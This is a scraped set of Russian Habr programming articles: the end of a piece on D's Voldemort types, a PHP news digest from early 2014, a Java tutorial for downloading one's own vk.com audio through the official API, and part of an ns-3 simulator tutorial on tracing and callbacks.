seed = seed * 1103515245 + 12345;
}
@property bool empty() { return false; }
}
RandomNumberGenerator g;
g.popFront(); // get it going
return g;
}
```
Произошло что-то обворожительное. RandomNumberGenerator стал типом, который находится внутри области функции generator. Его просто не видно вне функции. Также он не может быть назван — это и есть Voldemort тип.
Мы можем только получить экземпляр этого типа:
```
auto g = generator(5);
```
И дальше использовать g. Я знаю о чем вы думаете — использовать typeof и создать другой экземпляр RandomNumberGenerator:
```
auto g = generator(4);
typeof(g) h;
```
Sorry, это не сработает, компилятор не позволит объявить Voldermort тип вне его области видимости (техническая причина — нет доступа к локальной переменной seed).
Теперь осталась только одна деталь, которая меня раздражает, цикл:
```
int count;
foreach (n; generator(5)) {
writeln(n);
if (++count == 10)
break;
}
```
Он выглядит так старомодно. С помощью ranges, мы можем обойтись без толстого цикла, и вместо него использовать range [take](http://dlang.org/phobos/std_range.html#Take) , чтобы просто взять первые 10 элементов этого range:
```
void main() {
foreach (n; take(generator(5), 10))
writeln(n);
}
```
И дальше использовать [writeln](http://dlang.org/phobos/std_stdio.html#writeln), чтобы совсем избавиться от цикла:
```
void main() {
writeln(take(generator(5), 10));
}
```
##### Являются ли Voldemort типы действительно только [existential](http://en.wikipedia.org/wiki/Type_system#Existential_types) типами?
Дан тип T, и тип U, который может быть извлечен из T и который состоит в определенном отношении c T, является existential типом.
Для примера, если у нас есть тип T, являющийся указателем, мы можем вывести из него базовый existential тип U с помощью:
```
import std.stdio;
void extractU(T)(T t) {
static if (is(T U : U*))
writefln("type %s is a pointer to an %s", typeid(T), typeid(U));
else
writefln("type %s is not a pointer", typeid(T));
}
void main() {
int* t;
extractU(t);
double d;
extractU(d);
}
```
Что выведет на экран:
```
type int* is a pointer to an int
type double is not a pointer
```
В то время как Voldemort типы безусловно прячут свою реализацию, это, однако, не делает их existential типами. Так как Voldemort типы не могут быть получены из некого über типа, они не являются existential.
##### Заключение
Voldemort типы стали замечательным открытием в D, что позволило инкапсулировать типы так, что их можно использовать, но нельзя назвать.
Источник: Walter Whight [Voldemort Types In D](http://www.drdobbs.com/cpp/voldemort-types-in-d/232901591?pgno=1) | https://habr.com/ru/post/183488/ | null | ru | null |
# Дайджест интересных новостей и материалов из мира PHP № 35 (26 января — 9 февраля 2014)
Предлагаем вашему вниманию очередную подборку с ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
* Обновления [PHP 5.5.9](http://www.php.net/archive/2014.php#id2014-02-05-4) и [PHP 5.4.25](http://php.net/index.php#id2014-02-06-1) — Исправлены ошибки, в том числе в PHP 5.5.9 [устранена уязвимость](https://github.com/php/php-src/commit/8f4a5373bb71590352fd934028d6dde5bc18530b) в расширении GD, позволяющая инициировать переполнение кучи при обработке специально оформленных изображений через функцию imagecrop().
* [PSR-7 HTTP message interfaces](https://github.com/php-fig/fig-standards/blob/master/proposed/http-message.md) — Черновик нового стандарта от группы PHP-FIG.
* [Mockery 0.9.0](http://blog.astrumfutura.com/2014/02/mockery-0-9-0-has-landed-mostly-in-one-piece/) — Свежая версия популярного инструмента создания моков.
* [HHVM 2.4.0](http://www.hhvm.com/blog/3287/hhvm-2-4-0) — Обновление виртуальной машины PHP. В основном лишь исправления ошибок.
* [React v0.4.0](https://github.com/reactphp/react) — Свежая версия «node.js для PHP». [Подробно о React](http://www.youtube.com/watch?v=MWNcItWuKpI)  рассказывал сам автор.
### PHP
* [RFC: Улучшить эскейпинг HTML](https://wiki.php.net/rfc/secure-html-escape) — Предложение эскейпить ”/” обернулось интересной [дискуссией в php.internals](http://marc.info/?t=139131073900002).
* [RFC: debug-info](https://wiki.php.net/rfc/debug-info) — Вероятнее всего уже в PHP 5.6 будет добавлен новый магический метод `__debugInfo()`, который будет возвращать отладочную информацию об объекте.
### Инструменты
* [Duct](https://github.com/IcecaveStudios/duct) — Библиотека для непрерывного парсинга JSON.
* [Phrocco](https://github.com/rossriley/phrocco) — Генератор красивой и удобной документации для PHP. Порт [Docco](http://jashkenas.github.io/docco/).
* [Fractal](http://fractal.thephpleague.com/) — Библиотека предоставляет слой представления и преобразования данных сложного вида, часто встречающихся в RESTful API.
* [Its Continuous!](http://itscontinuous.com/) — Микроприложение для непрерывной интеграции PHP-проектов.
* [Phystrix](https://github.com/odesk/phystrix) — Библиотека для решения проблемы отказоустойчивости распределенных систем. Порт Java-библиотеки [Hystrix](https://github.com/Netflix/Hystrix).
* [Puli](https://github.com/webmozart/puli) — Библиотека, которая предоставляет доступ к файлам вашего PHP проекта через единую систему именования. Имеется также [плагин для Composer](https://github.com/webmozart/composer-puli-plugin).
* [Alice](https://github.com/nelmio/alice) — Генератор фикстур, позволяющий описывать данные для тестирования в простом для чтения и редактирования виде.
* [Pest](https://github.com/educoder/pest) — Библиотека PHP-клиент RESTful веб-сервисов.
* [LiipMonitor](https://github.com/liip/LiipMonitor) — Библиотека для мониторинга работоспособности систем приложения.
* [ohmy-auth](https://github.com/sudocode/ohmy-auth) — Библиотека для работы с OAuth-сервисами в стиле текучего интерфейса (цепочек вызовов) и promise'ов.
* [Assert](https://github.com/beberlei/assert) — По сути библиотека валидации данных. [Пост](http://www.whitewashing.de/2014/01/26/assert_v2_0__fluent_api_and_lazy_assertions.html) с описанием от автора.
* [Recoil](https://github.com/recoilphp/recoil) — Библиотека от автора React, реализующая многозадачность в PHP [c помощью корутин](http://habrahabr.ru/post/164173/) .
### Материалы для обучения
* [Кропаем изображения в PHP на основе энтропии](http://codegeekz.com/cropping-images-entrop/) — Подгонка изображения до нужных размеров путем обрезания сторон задача тривиальная и возникающая ежедневно. Чаще всего в результате остается центральная часть изображения. Но что, если основной объект находится не по центру? Автор предлагает решение, при котором выбирается наиболее информативная часть изображения. По ссылке пост с описанием идеи, готовое решение реализовано в виде библиотеки [Crop](https://github.com/stojg/crop/).
* [Программирование Google Glass на PHP](http://www.amazon.co.uk/Google-Glass-Programming-Tony-Gaitatzis-ebook/dp/B00I0IMMGO/ref=sr_1_34?s=books&ie=UTF8&qid=1391173983&sr=1-34&keywords=php) — Новая книга для тех, кто уже сегодня хочет заглянуть в будущее.
* [4 Reasons Why All PHP Frameworks Suck](http://www.phpclasses.org/blog/post/226-4-Reasons-Why-All-PHP-Frameworks-Suck.html) — Не так давно [Расмус на конференции PHP Frameworks Days](http://www.youtube.com/watch?v=anr7DQnMMs0)  в Киеве высказал мысль о том, что фреймворки часто не нужны . В посте по ссылке проанализированы его основные тезисы, а также что это значит для PHP-разработчиков.
* [Использование веб-сокетов в PHP приложениях. Silex и socket.io вместе.](http://gonzalo123.com/2013/12/24/integrating-websockets-with-php-applications-silex-and-socket-io-playing-together) — Автор поста рассматривает проблему аутентификации при работе с веб-сокетами. Также прилагается [скринкаст](https://www.youtube.com/watch?v=vJWmnp3UXZI)  .
* [SOAP и PHP в 2014](http://www.whitewashing.de/2014/01/31/soap_and_php_in_2014.html) — Несмотря на тотальное доминирование REST, у SOAP есть определенные преимущества, о которых и пишет автор. Также описаны базовые принципы использования SOAP с примерами на PHP.
* [Произвольная точность и большие числа в PHP](http://www.sitepoint.com/arbitrary-precision-big-numbers-php/) — В PHP, к сожалению, нет нативной поддержки больших чисел в отличие, например, от Python, однако решения существуют. В посте рассмотрены 3 модуля для работы с большими числами и арифметикой произвольной точности в PHP: [GMP](http://www.php.net/manual/en/book.gmp.php), [BC Math](http://www.php.net/manual/en/book.bc.php) и [php-bignumbers](https://github.com/Litipk/php-bignumbers). Приведены примеры: подсчет числа Пи и RSA-шифрование, а также бенчмарки модулей.
* [Синглтоны и PHP](http://coderoncode.com/2014/01/27/design-patterns-php-singletons.html) — о синглтоне, паттернах и антипаттернах. В тему забавный [хак](http://3v4l.org/v8SIO) от [NightTiger](https://habrahabr.ru/users/nighttiger/), в котором демонстрируется создание более одного экземпляра синглтона.
* [Управляем зависимостями проекта с помощью Bower и Composer](http://techportal.inviqa.com/2014/01/29/manage-project-dependencies-with-bower-and-composer/)
* [Настраиваем локальное зеркало для Composer-пакетов с помощью Satis](http://net.tutsplus.com/tutorials/php/setting-up-a-local-mirror-for-composer-packages-with-satis/) — Подобное решение уже было рассмотрено в постах [об использовании Satis для быстрого и надежного развертывания приложений](http://labs.qandidate.com/blog/2013/12/05/using-satis-for-fast-and-reliable-software-deployment/) и [о кэшировании пакетов для Composer](http://habrahabr.ru/post/197666/) .
* [Используйте HHVM чтобы ускорить Composer](http://markvaneijk.com/use-hhvm-to-speed-up-composer) — Небольшая заметка, суть которой сводится к `alias composer='hhvm /usr/local/bin/composer'`.
* [Шпаргалка от OWASP по безопасности в PHP](https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet)
* [4 HTTP заголовка, которые следует использовать для безопасности.](http://www.ibuildings.com/blog/2013/03/4-http-security-headers-you-should-always-be-using)
* [Делаем PHP безопаснее: введение в Augmented Types](http://tech.blog.box.com/2014/01/making-php-safer-introducing-augmented-types/) — Пост в поддержку расширения [Augmented Types](https://github.com/box/augmented_types), реализующего type hinting на основе аннотаций.
* [HHVM c Symfony 2 выглядят превосходно](http://blog.liip.ch/archive/2013/10/29/hhvm-and-symfony2.html) — Немного бенчмарков.
* [WordPress как полноценный фреймворк](http://www.sitepoint.com/wordpress-framework/) — Статья по понятным причинам вызвала горячую дискуссию в комментариях.
* [PHP — Best Practises](http://thisinterestsme.com/php-best-practises/) — Советы для молодых разработчиков.
* [Начинаем работу c Phalcon](https://www.digitalocean.com/community/articles/how-to-install-and-get-started-with-phalcon-on-an-ubuntu-12-04-vps), [2](https://www.digitalocean.com/community/articles/getting-started-with-phalcon-a-php-framework-part-2)
*  [Как использовать фильтры в Laravel 4](http://laravel.ru/articles/amegatron/laravel-filters)
* [Laravel 4: File-Based CMS](https://medium.com/laravel-4/4bca98a74f4d) — Продолжение [серии исчерпывающих туториалов по Laravel](https://medium.com/laravel-4).
* [Node.js vs Laravel](http://thesimplesynthesis.com/post/node-js-vs-laravel) — Сравнение сильных и слабых сторон технологий.
* [Трюки и хаки PhpStorm](http://www.sitepoint.com/phpstorm-top-productivity-hacks-shortcuts/) — Несколько полезных советов для повышения эффективности работы с PHPStorm.
* [zephir-boost-yii](https://github.com/pigochu/zephir-boost-yii) — Рабочий концепт на [Zephir](http://www.sitepoint.com/zephir-build-php-extensions-without-knowing-c/) — ядро фреймворка Yii 2.
*  [Пример использования mongoDB](http://belyakov.su/content/primer-ispolzovaniya-mongodb) — Вкратце о MongoDB и использовании в Yii Framework.
*  [SQL-injection в Yii framework](http://belyakov.su/content/sql-injection-v-yii-framework) — В статье на примере Yii продемонстрировано какой код уязвим, а какой нет.
*  [print или echo, что быстрее?](http://habrahabr.ru/post/211156/)
*  [Лучшие практики и рекомендации по защите php-приложений от XSS-атак](http://habrahabr.ru/company/pentestit/blog/211494/)
*  [PhpBrew. Менеджер версий PHP. (+ установка и использование в Ubuntu 13.10)](http://habrahabr.ru/post/210764/) — Пост об инструменте [phpbrew](https://github.com/c9s/phpbrew), который позволяет использовать несколько разных версий интерпретатора на одной машине.
*  [Делаем вебсокеты на PHP с нуля. Часть 2.](http://habrahabr.ru/company/ifree/blog/210228/) — Отличный пост, в котором автор делится опытом написания своего простого вебсокет-сервера на PHP. Первая часть [тут](http://habrahabr.ru/company/ifree/blog/209864/).
*  [Пример работы jQuery UI + PHP и GD. Нанесение аппликаций на изображение](http://habrahabr.ru/post/211260/)
*  [Горизонтальное масштабирование PHP приложений.](http://habrahabr.ru/post/210656/)
*  [Нестандартное применение IT в быту: парсинг, перцептивный хеш, сравнение изображений = оптимизация расходов](http://habrahabr.ru/post/210388/) — Отличный пост, в котором автор поделился опытом решения задачи сравнения изображений в случае, когда они могут быть разного размера, с нанесенными водяными знаками, скорректированными цветами и другими искажениями.
*  [Использование EXPLAIN. Улучшение запросов](http://habrahabr.ru/post/211022/) — Об оптимизации MySQL-запросов.
*  [VagrantWebdev — виртуальная среда для веб-разработки](http://habrahabr.ru/post/211887/)
### Материалы c прошедших конференций
* [SunshinePHP 2014](https://joind.in/event/view/1444/slides#event-tabs) — Слайды всех докладов с масштабной [PHP-конференции](http://2014.sunshinephp.com/), проходившей в Майами.
### Аудио и видеоматериалы
*  [PHPStorm Test Workflow](https://laracasts.com/lessons/phpstorm-testing-workflow)
*  [PHPSpec так хорош](https://laracasts.com/lessons/phpspec-is-so-good) — Небольшой туториал по использованию [PHPSpec](http://phpspec.net/).
*  [Подкаст Laravel.IO №9](http://laravel.ru/articles/the/laravel-podcast-9) — Перевод подкаста, в котором создатель Laravel Тейлор и другие участники сообщества обсуждают фреймворк, его будущее и смежные темы.
*  [Подкаст Voices of the ElePHPant #5](http://voicesoftheelephpant.com/2014/02/04/its-the-booze-talking-5-core-developers) — Неформальная беседа с известными личностями из PHP-сообщества: Sara Golemon (HHVM), Derick Rethan (Xdebug), Illia Alshanetsky, Ben Ramsey.
### Занимательное
* [Интервью с создателем популярного микрофреймворка Slim](http://www.newmediacampaigns.com/blog/an-interview-with-the-founder-of-slim-php-framework-our-josh-lockhart)
* [TDD может быть не для вас. Маленький экскурс в психологию разработчика](http://phpixie.com/blog/test-driven-development-may-not-be-right-for-you/)
* [XXX Framework vs. YYY Framework](http://vschart.com/compare/laravel/vs/play-framework) — На ресурсе можно сравнить друг с другом многие популярные фреймворки.
* [Статистика по использованию Vagrant](http://www.erikaheidi.com/2014/01/24/vagrant-usage-research/) — «PHP используется на 58% рабочих машин созданных с помощью Vagrant» и другие цифры в инфографике.
* [Какой язык программирования лучше всего изучать в 2014?](http://www.sitepoint.com/best-programming-language-learn-2014/) — Результаты опроса популярности языков программирования.
* [Фиолетовые слоники PHP](https://www.kickstarter.com/projects/77145396/phpwomen-purple-elephpants) — Вслед за успешной [кампанией оранжевых PHP-слоников](https://www.kickstarter.com/projects/eliw/php-architect-orange-elephpant) от php[architect] сообщество PHPWomen запустило свою кампанию и уже собрали необходимую сумму.
[Быстрый поиск по всем дайджестам](http://pronskiy.github.io/php-digest/)
← [Предыдущий выпуск](http://habrahabr.ru/company/zfort/blog/210366/) | https://habr.com/ru/post/211995/ | null | ru | null |
# Скачивание музыки из vk.com
После недавней шумихи вокруг аудиозаписей на сайте vk.com решил подстраховаться и скопировать всю свою коллекцию на жесткий диск. Для решения мною была написана простенькая утилита на Java. Ниже — её код c комментариями. Статья предназначена для читателей, знакомых с любым языком программирования общего назначения и умеющих компилировать и запускать написанные на нем программы.
*Важное замечание: если Ваши аудиозаписи уже изъяты, то скачать их таким образом скорее всего не получится.*
##### Подготовка
Список аудиозаписей получается через API сайта, для доступа к API нужен access token (токен доступа). Для получения токена необходимо перейти по адресу (это [стандартный способ](http://vk.com/dev/auth_mobile), описанный в документации vk.com для разработчиков):
`oauth.vk.com/authorize?client_id=3711445&scope=audio&
redirect_uri=https://oauth.vk.com/blank.html&display=page&v=5.0&response_type=token`
и на загрузившейся страничке разрешить доступ приложению к своим аудиозаписям, после этого вы будете перенаправлены по адресу вида:
`oauth.vk.com/blank.html#access_token=abc&expires_in=86400&user_id=123456`
вот параметр access\_token нам и нужен — запомним его. Последний параметр user\_id — это ваш идентификатор пользователя, тоже понадобится.
Выполнив эти действия, Вы, фактически предоставили доступ моему приложению к списку ваших аудиозаписей, но т. к. полученный при это токен мне неизвестен — то и доступа нет, для пущей безопасности можете зарегистрировать свое приложения на vk.com и использовать его app\_id.
##### Пишем код
Итак, токен у нас есть, можем приступить к скачиванию, в двух словах схема следующая: получаем список аудиозаписей в формате JSON, распарсиваем необходимою нам информацию (название песни, имя исполнителя и собственно адрес mp3 файла) и загружаем файл, придав ему осмысленное название.
Получение списка аудиозаписей выполняется отправкой POST запроса по адресу:
(см. метод API [audio.get](http://vk.com/dev/audio.get))
```
URIBuilder builder = new URIBuilder();
builder.setScheme("https").setHost("api.vk.com").setPath("/method/audio.get")
.setParameter("oid", USER_ID) // идентификатор пользователя или сообщества, чьи записи надо скачать
.setParameter("need_user", "0")
.setParameter("count", "2000") // число загружаемых аудиозаписей
.setParameter("offset", "0") // смещение, необходимое для выборки определенного количества аудиозаписей
.setParameter("access_token", ACCESS_TOKEN); // токен доступа, полученный ранее
URI uri = builder.build();
```
Отправляем запрос и обрабатываем ответ:
(для работы с HTTP запросами используем библиотеку [Apache HttpClient](http://hc.apache.org/httpcomponents-client-ga/))
```
HttpClient httpclient = new DefaultHttpClient();
HttpResponse response = httpclient.execute(httpget);
HttpEntity entity = response.getEntity();
if (entity != null) {
InputStream instream = null;
try {
instream = entity.getContent();
String responseAsString = IOUtils.toString(instream);
parseAndDownload(responseAsString);
} finally {
if (instream != null)
instream.close();
}
}
```
Для парсинга JSON используем [json simple](https://code.google.com/p/json-simple/), для загрузки файла — [Apache Commons IO](http://commons.apache.org/proper/commons-io/):
(важное замечание — необходимо чтобы папка в которую Вы хотите загружать файлы уже существовала)
```
private static void parseAndDownload(String resp) throws IOException, ParseException {
JSONParser parser = new JSONParser();
JSONObject jsonResponse = (JSONObject) parser.parse(resp);
JSONArray mp3list = (JSONArray) jsonResponse.get("response");
for (int i=1; i
```
В названиях композиций и именах исполнителей могут содержаться символы, запрещенные к использованию в именах файлов, убираем такие символы:
(используется [Apache Commons Lang](http://commons.apache.org/proper/commons-lang/))
```
private static String fixWndowsFileName(String pathname) {
String[] forbiddenSymbols = new String[] {"<", ">", ":", "\"", "/", "\\", "|", "?", "*"}; // для windows
String result = pathname;
for (String forbiddenSymbol: forbiddenSymbols) {
result = StringUtils.replace(result, forbiddenSymbol, "");
}
// амперсанд в названиях передаётся как '& amp', приводим его к читаемому виду
return StringEscapeUtils.unescapeXml(result);
}
```
Компилируем, запускаем — радуемся, глядя как вся онлайн коллекция аудио загружается на диск.
##### Заключительные замечания
* код достаточно грязный и не совсем подходит для промышленного использования (чтобы скачать очень большие по числу песен коллекции, его лучше модифицировать), но поставленную задачу он решает
* Java использован лишь для демонстрации идеи, думаю не составит труда перевести данный код на ваш любимый язык
* существует много программ для скачивания аудио, но доверия к ним нет абсолютно никакого (в плане передачи им своих личных данных)
* программу можно запускать несколько раз — будут загружены только несуществующие на диске файлы
##### Полный рабочий исходный код
[код](https://gist.github.com/kilonet/5793540#file-vkmp3download-java)
##### Список зависимостей
* json-simple-1.1.1.jar
* commons-lang3-3.1.jar
* commons-io-2.4.jar
* httpcomponents-client-4.2.5-bin.zip (все jar файлы из архива) | https://habr.com/ru/post/183546/ | null | ru | null |
# Учебник по симулятору сети ns-3. Глава 7
[[главы 1,2]](https://habr.com/ru/post/497106/)
[[глава 3]](https://habr.com/ru/post/497318/)
[[глава 4]](https://habr.com/ru/post/497478/)
[[глава 5]](https://habr.com/ru/post/498372/)
[[глава 6]](https://habr.com/ru/post/500170/)
Глава 7 Трассировка
7.1 История вопроса
7.1.1 Тупые инструменты
7.2 Обзор
7.2.1 Простой пример
7.2.2 Подключение через Config
7.2.3 Поиск источников
7.2.4 Доступные источники
7.2.5 Config-пути
7.2.6 Сигнатуры обратных вызовов
7.2.7 TracedValue
7.3 Реальный пример
7.3.1 Доступные источники
7.3.2 Поиск примеров
7.3.3 Источники динамической трассировки
7.3.4 Разбор fifth.cc
Запуск/останов приложений
Приложение MyApp
Приемник трассировки
Основная программа
7.3.5 Запуск fith.cc
7.3.6 Использование помощников среднего уровня
7.4 Помощники трассировки
7.4.1 Помощники устройств
PCAP
ASCII
7.4.2 Помощники протоколов
7.5 Резюме
Глава 7 Трассировка
===================
7.1 История вопроса
-------------------
Как упоминалось в разделе 5.3, весь смысл симуляции ns-3 заключается в генерации выходных данных для изучения. У вас есть две основные стратегии получения выходных данных от ns-3: использование общих предопределенных механизмов и анализ содержимого их массового вывода для извлечения интересующей информации или разработать некий механизм вывода, который передаст только ту информацию, которую вы хотели.
Использование предопределенных механизмов массового вывода имеет то преимущество, что не требует каких-либо изменений в ns-3, но может потребовать написания сценариев для анализа и фильтрации интересующих данных. Часто, выходные сообщения PCAP или NS\_LOG, собранные во время симуляции, дополнительно прогоняются через скрипты, которые используют grep, sed или awk для разбора сообщений, уменьшения, преобразования данных в удобную форму. Для выполнения преобразований должны быть написаны программы, так что это не проходит без затрат. Вывод NS\_LOG не считается частью API ns-3 и может меняться от релиза к релизу без предупреждения. Кроме того, вывод NS\_LOG доступен только в отладочных сборках, поэтому его использование влечет за собой снижение производительности. Более того, этот подход не сработает, если интересующей информации нет ни в одном из предопределенных механизмах вывода.
Если вам нужно добавить немного информации к предопределенным механизмам, это, безусловно, можно сделать и если Вы используете один из механизмов ns-3, то можете добавить свой код как контрибутор.
Ns-3 предоставляет другой механизм, называемый трассировкой, который позволяет избежать некоторых проблем, присущих механизмам массового вывода. У него есть несколько важных преимуществ. Во-первых, вы можете уменьшить объем данных, которыми нужно управлять, отслеживать только интересующие вас события (выгрузка всех данных на диск, для последующей обработки, операции ввода/вывода могут стать узким местом для больших симуляций). Во-вторых, если вы используете этот метод, то можете напрямую управлять форматом вывода, избавляя себя от необходимости постобработки с использованием сценариев sed, awk, perl или python. По вашему желанию вывод может быть отформатирован сразу, например, в форму, приемлемую для gnuplot (см. также [8.3](#sec_GnuplotHelper)). Вы можете добавить в ядро ns-3 крючки (хуки), которые затем могут быть доступны для других пользователей, но они не будут давать никакой информации, пока их об этом прямо не попросят. По этой причине мы считаем, что система трассировки ns-3 — это лучший способ извлечения информации из моделирования, и поэтому один из самых важных для понимания механизмов в ns-3.
### 7.1.1 «Тупые» инструменты
Есть много способов получить информацию из программы. Самый простой способ — это распечатать информацию непосредственно в стандартный вывод, как здесь:
```
#include
...
void
SomeFunction (void)
{
uint32\_t x = SOME\_INTERESTING\_VALUE;
...
std::cout << "The value of x is " << x << std::endl;
...
}
```
Никто не помешает вам углубиться в ядро ns-3 и добавить операторы печати. Это безумно легко сделать, и, в конце концов, у вас есть полный контроль над собственной веткой ns-3. Хотя это, вероятно, не окупится в долгосрочной перспективе.
По мере увеличения числа операторов печати в ваших программах, задача обработки большого количества выходных данных будет становиться все более и более сложной. В конце концов, вы можете почувствовать необходимость управлять тем, какую информацию и как печатать, возможно, путем включения и выключения определенных категорий трасс, или увеличения⁄уменьшения объема нужной информации. Если вы продолжите идти по этому пути, то обнаружите, что повторно реализовали механизм NS\_LOG (см. 5.1). Чтобы избежать этого, одной из первых вещей, которые вы могли бы сделать, это пользоваться NS\_LOG.
Мы упоминали выше, что один из способов получить информацию из ns-3 — это проанализировать существующий вывод NS\_LOG на предмет интересующей информации. Если вы обнаружите, что некоторая нужная вам информация отсутствует в существующем выводе журнала, вы можете отредактировать ядро ns-3 и просто направить интересующую информацию в поток вывода. Это, конечно, лучше чем добавление ваших собственных операторов печати, поскольку оно следует соглашениям о кодировании ns-3 и потенциально может быть полезна для других людей как патч к существующему ядру.
Давайте возьмем случайный пример. Если вы хотите добавить больше журналирования в TCP-сокет ns-3 (tcp-socket-base.cc) вы можете просто добавить в реализацию новое сообщение. Обратите внимание, что в TcpSocketBase::ProcessEstablished() нет сообщения журнала на получение SYN + ACK в состоянии ESTABLISHED. Вы можете его легко добавить, изменив код. Вот оригинал:
```
/* Received a packet upon ESTABLISHED state. This function is mimicking the
role of tcp_rcv_established() in tcp_input.c in Linux kernel. */
void
TcpSocketBase::ProcessEstablished (Ptr packet,
const TcpHeader& tcpHeader)
{
NS\_LOG\_FUNCTION (this << tcpHeader);
...
else if (tcpflags == (TcpHeader::SYN | TcpHeader::ACK))
{
// No action for received SYN+ACK, it is probably a duplicated packet
}
...
```
Чтобы добавить возможность журналирования SYN + ACK, вы можете добавить новый NS\_LOG\_LOGIC в тело оператора if:
```
/* Received a packet upon ESTABLISHED state. This function is mimicking the
role of tcp_rcv_established() in tcp_input.c in Linux kernel. */
void
TcpSocketBase::ProcessEstablished (Ptr packet, const TcpHeader& tcpHeader)
{
NS\_LOG\_FUNCTION (this << tcpHeader);
...
else if (tcpflags == (TcpHeader::SYN | TcpHeader::ACK))
{ // No action for received SYN+ACK, it is probably a duplicated packet
NS\_LOG\_LOGIC ("TcpSocketBase " << this << " ignoring SYN+ACK");
}
...
```
На первый взгляд это может показаться довольно просто и достаточно, но нужно учитывать, что вы будете писать код для добавления операторов NS\_LOG, а для разбора журнала также придется написать код (как в сценариях grep, sed или awk), чтобы извлечь вашу информацию. Это потому, что хоть у вас и есть некоторый контроль над тем, что выводится в журнал, но этот контроль не ниже уровня компонента журнала, который обычно представляет собой целый файл исходного кода. Если вы добавляете код в существующий модуль, ваш вывод в журнал будет сосуществовать с тем выводом, который разработчик счел интересным добавить. Вы можете обнаружить, что для получения небольшого количества необходимой информации вам, возможно, придется пробираться через огромное количество посторонних неинтересующих сообщений. Всякий раз когда вам понадобится что-то сделать, вы будете вынуждены сохранять на диск огромные файлы журнала и обрабатывать их ради нескольких строк.
Поскольку в ns-3 нет никаких гарантий относительно стабильности вывода NS\_LOG, вы также можете обнаружить, что важные для вас фрагменты вывода журнала, исчезают или меняются при смене релиза. Если вы зависите от структуры вывода, вы может найти другие сообщения, добавляемые или удаляемые, которые могут повлиять на код вашего синтаксического анализа.
Наконец, вывод NS\_LOG доступен только в отладочных сборках, вы не можете получить вывод журнала из оптимизированных сборок, которые запускаются примерно в два раза быстрее. Использование NS\_LOG влечет за собой снижение производительности.
По этим причинам мы считаем, что печать в сообщения std::cout и NS\_LOG — быстрый и грязный способ получить больше информация из ns-3, но он не подходит для серьезной работы.
Желательно иметь стабильное средство, использующее стабильные API, которые позволяют проникнуть в основную систему и получить только требуемую информацию. Желательно иметь возможность сделать это без необходимости изменять и перекомпилировать основную систему. Было бы более интересно, если бы система уведомляла пользовательский код, когда интересующий объект изменился или произошло интересующее событие, тогда пользователю не понадобится активно копаться в системе чтобы получить эту информацию.
Система трассировки ns-3 разработана для работы в этом направлении и хорошо интегрирована подсистемами атрибутов (Attribute) и настроек (Config), позволяющими сравнительно легко использовать сценарии.
7.2 Обзор
---------
Система трассировки ns-3 построена на принципах независимых источников и приемников трассировки, наряду с унифицированным механизмом подключения источников к приемникам. Источники трассировки — это объекты, которые могут сигнализировать о событиях, происходящих в симуляции, и предоставлять доступ к интересующим базовым данным. Например, источник трассировки может сигнализировать, о приеме сетевым устройством пакета и предоставлять доступ к содержимому этого пакета для заинтересованных приемников трассировки. Источник трассировки также может указывать, когда происходит интересующее изменение состояния модели. Например, окно заторов в модели TCP является основным кандидатом в источники трассировки. Каждый раз, когда окно заторов изменяется, подключенные приемники трассировки информируются об изменении с помощью отправки им старого и нового значения.
Источники трассировки сами по себе не имеют ценности, пока они не связаны с другими частями кода, которые реально делают с информацией, предоставленной источником, что-то полезное. Объекты, использующие информацию трассировки, называются приемниками трассировки. Источники трассировки являются генераторами данных, а приемники трассировки — потребителями. Такое явное разделение позволяет размещать большое количество источников по всей системе, там где авторы моделей считают их полезными. Вставка источников трассировки лишь немного увеличивает накладные расходы при выполнении.
Потребителей событий, сгенерированных источником трассировки, может быть ноль или более. Источник трассировки выступает как элемент информационного линка «один ко многим». Ваш код, просматривающий события трассировки из определенного фрагмента кода ядра может успешно сосуществовать с другим кодом, делающим что-то совершенно иное с той же информацией.
Если пользователь не подключит приемник трассировки к одному из этих источников, то выводить приемнику будет нечего. Используя систему трассировки, вы и другие пользователи, подключенные к тому же источнику трассировки, получите из системы только то, что вам нужно. Никто из вас, изменяя информацию, выводимую системой не повлияет на других пользователей. Если вы, как добропорядочный гражданин open source, добавите источник трассировки, то ваша работа, может открыть возможность другим пользователям без внесения каких-либо изменений в ядро ns-3, создать новые инструменты, которые возможно, окажутся очень полезными для всех в целом.
### 7.2.1 Простой пример
Давайте уделим несколько минут и пройдемся по простому примеру трассировки. Чтобы понять, что происходит в примере, нам понадобится некоторое представление об обратных вызовах (обратный вызов — callback), поэтому мы должны сделать небольшой обзор прямо сейчас.
#### Обратные вызовы (Callbacks)
Задача системы обратных вызовов в ns-3 состоит в том, чтобы позволить одному коду вызывать функцию (или метод в C++) другого кода без какой-либо специфической межмодульной зависимости. В конечном итоге это означает, что вам необходим какой-то из вариантов косвенности — чтобы рассматривать адрес вызываемой функции как переменную. Эта переменная называется переменной-указателем на функцию. Отношение между функцией и указателем на функцию на самом деле ничем не отличаются от отношения объекта и указателя на объект.
В Си каноническим примером указателя на функцию является указатель на функцию возвращающую целое число (pointer-to-function-returning-integer или />
PFI). PFI, принимающая один параметр int, может быть объявлена как,
```
int (*pfi)(int arg) = 0;
```
(Но прежде чем писать такой код, прочитайте [Section 33 C++ — FAQ](http://www.parashift.com/c++-faq/pointers-to-members.html):
([www.parashift.com/c++-faq/pointers-to-members.html](http://www.parashift.com/c++-faq/pointers-to-members.html)))
После этого объявления вы просто получаете переменную с именем pfi, которая инициализирована значением 0. Если вы хотите инициализировать этот указатель чем-то значимым, то вам нужно иметь функцию с совпадающей сигнатурой. Для этого вы могли бы использовать функцию, которая выглядит следующим образом:
```
int MyFunction (int arg) {}
```
Если у вас есть такая функция, вы можете инициализировать переменную так, чтобы она указала на вашу функцию:
```
pfi = MyFunction;
```
Теперь вы можете вызвать MyFunction косвенно, используя более наглядную форму вызова:
```
int result = (*pfi) (1234);
```
Это наглядно потому, что наводит на мысль, что это похоже на разыменование указателя функции, подобно тому, как вы разыменовываете любой другой указатель. Однако, как правило, люди используют тот факт, что компилятор понимает, что происходит, и просто используют более краткую форму:
```
int result = pfi (1234);
```
Выглядит так, как будто, вы вызываете функцию с именем pfi, но компилятор достаточно умен, чтобы догадаться, что через переменную pfi нужно косвенно вызвать функцию MyFunction.
